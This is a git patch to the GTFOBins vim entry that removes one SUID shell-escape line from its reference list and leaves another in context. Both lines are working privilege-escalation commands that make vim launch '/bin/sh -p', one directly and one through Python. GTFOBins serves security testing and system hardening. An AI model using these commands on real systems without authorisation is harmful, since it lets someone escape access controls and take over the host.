From d3ef67aa3a7755695fee0fab2b7b8d3a998524bb Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 18 Dec 2018 14:28:09 +0100 Subject: [PATCH] Remove suid from vim --- _gtfobins/vim.md | 1 - 1 file changed, 1 deletion(-) diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md index 66cf402..47d52e9 100644 --- a/_gtfobins/vim.md +++ b/_gtfobins/vim.md @@ -17,7 +17,6 @@ functions: file-read: - code: vim file_to_read suid: - - code: ./vim -c ':!/bin/sh -p' - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: